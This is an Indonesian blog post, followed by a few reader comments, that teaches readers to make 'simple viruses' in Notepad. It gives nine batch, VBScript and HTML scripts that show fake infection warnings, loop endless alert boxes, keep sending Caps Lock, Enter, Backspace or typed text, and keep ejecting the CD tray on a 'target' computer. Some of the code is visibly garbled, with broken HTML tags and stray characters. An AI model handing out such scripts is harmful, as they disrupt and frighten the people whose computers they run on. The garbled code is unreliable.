zky-esemka >> Kali ini saya akan mengajarkan bagaimana cara membuat virus simple melalui notepad,
cara nya sangat mudah, kita hanya mengcopy script di bawah ini kedalam notepad, dengan ektensi yang telah ditentukan, INGAT postingan ini saya buat hanya untuk pembelajaran, jangan di salah gunakan,
baiklah langsung saja kita praktekkan, :
1.
Pesan Restart ( save dalam ektensi .BAT )
@ ECHO off
:Begin
msg * WARNING !
msg * Komputer Lo Error
msg * Cuma satu cara agar sembuh
msg * Harus di install ulang nih
GOTO BEGINng kKo
2.
Pesan Shutdown ( save dalam ektensi .BAT )
@echo off
msg * Komputer lo kena virus nih
msg * Uda ga bisa idup lagi
msg * Harus di install ulang nih
3.
Tombol Caps Lock kedip-kedip terus ( save dalam ektensi .VBS )
Set wshShell =wscript.CreateObject("WScript.Shell") do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}" loop
4.
Terkena Virus ( save dalam ektensi .HTML )
<html>
<head>
<script type
="text/javascript">
function display_alert()
{
alert("Komputer telah terinfeksi virus berbahaya!!")
var b = true
while (b == true){
alert("Virus Zky-CyberCrime !!")
}}
script>
head>
<body><input type="button"
onclick="display_alert()"
value="Submit" />body>
html>center>
5.
Menekan Enter Terus Menerus ( save dalam ektensi .VBS )
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
6. Memunculkan Pesan Secara otomatis ( save dalam ektensi .VBS )
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hello"
WScript.Sleep 500
WshShell.SendKeys "gimana"
WScript.Sleep 500
WshShell.SendKeys "kabar"
WScript.Sleep 500
WshShell.SendKeys "Loe"
WScript.Sleep 500
WshShell.SendKeys " ? "
WScript.Sleep 500
WshShell.SendKeys "baek2"
WScript.Sleep 500
WshShell.SendKeys "aja"
WScript.Sleep 500
WshShell.SendKeys "kan"
WScript.Sleep 500
WshShell.SendKeys "????"
7.
Backspace Jalan Terus-Menerus ( save dalam ektensi .VBS )
Quote:
MsgBox "Let's go back a few
steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
8. Taget Harus Mengetik "Aku sayang kamu" Secara Terus-Menerus ( save dalam ektensi .VBS )
Quote:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Aku sayang kamu"
loop
9. Membuka dan menutup CD/ DVD ( save dalam ektensi .VBS )
Set oWMP =CreateObject
(“WMPlayer.OCX.7″) Set colCDROMs =oWMP.cdromCollection
do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop
sekian dulu script yang zky-esemka berikan, sebenarnya masih banyak lagi, tapi karna waktu yang mepet jadi saya hanya dapat memposting itu saja, SELAMAT MENCOBA :D
4 komentar:
gan, virus yg Membuka dan menutup CD/ DVD kok ga bisa y?
sippp gan
goo.gl/RJB9UT
itu scripynya jalan sendiri gak gan ??
ini melalui windows atau melalui Linux ?
Posting Komentar